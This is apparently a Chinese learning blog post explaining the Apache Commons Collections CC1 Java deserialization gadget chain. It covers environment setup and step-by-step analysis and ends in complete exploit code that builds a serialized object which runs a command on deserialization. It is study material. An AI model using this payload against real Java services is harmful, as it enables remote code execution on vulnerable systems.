CC链学习–cc1

CC1

组件介绍

​ Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

​ Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

环境搭建

需要先配置jdk,jdk<8u71即可,我用的是JDK8u65

因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的去读代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载后找到压缩包文件加下的sun文件夹

image-20250409194634208

把他移动到/jdk8/src文件夹

image-20250409194727132

在IDEA里SDK导入

image-20250409194932250

https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

打开IDEA 新建一个Maven项目 选择 org.apache.maven.archetypes:maven-archetype-webapp

导入commons collections maven依赖,好好好,搞了半天我这老是报错,原来是缩进问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>untitled</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

反序列化调用的基本过程

1265539-20241225093531318-1790358455

分析

CC1的入口/源头是Transformer接口中的transform方法(废了老大事了,即便是能搜索前面挨个找加上修环境将近2小时了。。。)

入口类在org.apache.commons.collections.Transformer

方法一:shift 2次搜索相应名称

image-20250409200128893

方法二:(Alt+F7)

image-20250409201256746

这边来到了InvokerTransformer类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

接收一个方法值,然后进行参数调用

平常调用方法执行命令可以直接

1
2
3
4
5
6
7
8
import java.io.IOException;

public class cc1 {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");
}
}

普通反射调用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;
import java.lang.reflect.Method;

public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

Class c = Runtime.class;
Method exec =c.getMethod("exec",String.class);
exec.invoke(runtime,"calc");

}
}


如果我们利用transform方法呢,先看一下transform的方法使用

这里方法名和参数类型都可控image-20250409201707149

利用InvokerTransformer的Transformer方法写一个反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.Method;

public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

// Class c = Runtime.class;
// Method exec =c.getMethod("exec",String.class);
// exec.invoke(runtime,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
//这里对应起来,方法名,参数类型,参数值,调用InvokerTransformer的transform方法,参数值为Runtime.getRuntime()
}
}
#主要是这一部分可以通过反射导致代码执行
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

}
这样写可能不容易一下子看出来,但是换个写法一眼就看出来为什么可以代码执行
return input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs);
获取Runtime实例 exec 调用runtime即Runtime.getRuntime()触发calc
拼进去你的输入就会变成
return runtime.exec("calc") ->return Runtime.getRuntime().exec("calc")

现在我们知道了InvokerTransformer类可以调用transform()方法执行命令,接下来顺着思路就需要去寻找一下哪里调用了InvokerTransform的transform方法

这里我们找到了TransformedMap类(这里利用transform的方法多好下手,3个map类大概都可以,小白,不太理解)

image-20250409202223350

看看TransformedMap类的checkSetValue函数,发现valuetransformer可以控制

看该函数调用了valuetransformer,去看看valuetransformer

我们先顺着找找哪里能够利用valuetransformer调用到transformer

image-20250409202343491

接收Map,对俩map进行处理

我们要执行命令,自然要可控的参数又是protect,自然要在内部寻找,找到掉头Valuetransformer的类

image-20250409202859276

我们再看看是谁调用了TransformedMap类的构造函数。

找到decorate方法

image-20250409202736764

它接受一个Map对象以及两个Transformer对象作为参数,并返回一个装饰后的Map对象。这个方法的作用是对原始Map对象进行转换,然后返回一个新的装饰后的Map对象。

现在解决了transformer的调用问题,回去看checkSetValue()

发现AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法 调用了 TransformedMap类中的checkSetValue()方法

image-20250409203720805

而且我们可以看到AbstractInputCheckedMapDecorator类其实上是Transformedmap的父类。

image-20250409204636431

加上TransformedMap类和 AbstractInputCheckedMapDecorator类中的setvalue方法, 通过对键值对的遍历,会调用setvalue方法,也就会自然的调用checksetvalue,导入map,我们尝试用代码实现命令执行

梳理一下思路:

我们本来是要找TransformedMap这个类,想要调用其中的checkSetValue方法,但是是protected,只能在该类中调用,找到了valuetransformer的调用类TransformedMap,然后刚好发现TransformedMap有decorate方法来实例化这个类,先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对,然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的副类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

// Class c = Runtime.class;
// Method exec =c.getMethod("exec",String.class);
// exec.invoke(runtime,"calc");
//原版
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map= new HashMap<>();
map.put("say","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,InvokerTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。

//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
//TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
//相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。

}
}

咱们继续看看是哪个类调用了setValue方法,找到了``AnnotationInvocationHandler`

image-20250409204952310

不得不说这是在是太妙了,该方法还直接在readObject下

image-20250409205137825

image-20250409205356720

但是该类没有public声明,只能在包内使用,我们要想调用他需要利用到反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

// Class c = Runtime.class;
// Method exec =c.getMethod("exec",String.class);
// exec.invoke(runtime,"calc");
//原版
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map= new HashMap<>();
map.put("say","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,InvokerTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。

//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
//TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
//相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o); //序列化
unserialize("ser.bin"); //反序列化
}

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

问题解决

有几个问题

第一个,AnnotationInvocationHandlerreadObject调用的setValue()参数不可控

image-20250409205740962

第二个,AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法,得绕过两个if判断。

image-20250409205813765

第三个,Runtime类没有继承Serializable接口,不可以被序列化

我们先看问题3

Runtime不能被反序列化,但是Class可以被序列化

image-20250409205929697

哈哈哈又是反射

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class main {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers;
transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map= new HashMap<>();
map.put("say","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。 Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o); //序列化
unserialize("ser.bin"); //反序列化
// }

}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}


我们调试一下,会发现到第一个if判断时,条件是memberType != null。目前我们的memberType是空(null)。第一个if就过不去。

仔细审计源码后发现,memberType是获取注解中成员变量的名称,然后并且检查HashMap键值对中键名是否是对应的名称。注解类(Target或者Override)

image-20250409212556866

里解释为什么前文注解类我们使用Target而不是Override。因为Override没有成员变量,而Target有成员变量名称是value

image-20250409212642896

最后调试一遍能过第一个判断

第二个if判断能不能强转,我们传的肯定强转不了,就一定能过。

最后我们来解决我们的问题1 :AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

我们的目标是使得setValue()方法的参数是Runtime.class。

聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。
image-20250409212953691

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
// Class clazz = Runtime.class;
// Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
// Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
// Method cmdMethod = clazz.getMethod("exec", String.class);
// cmdMethod.invoke(cmd, "calc");
// Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// //Method getRuntimeMethod = Runtime.class.getMethod("getRuntime", null);
// Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// //Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map= new HashMap<>();
map.put("value","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o=annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o); //序列化
unserialize("ser.bin"); //反序列化
// }

}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

image-20250409213146233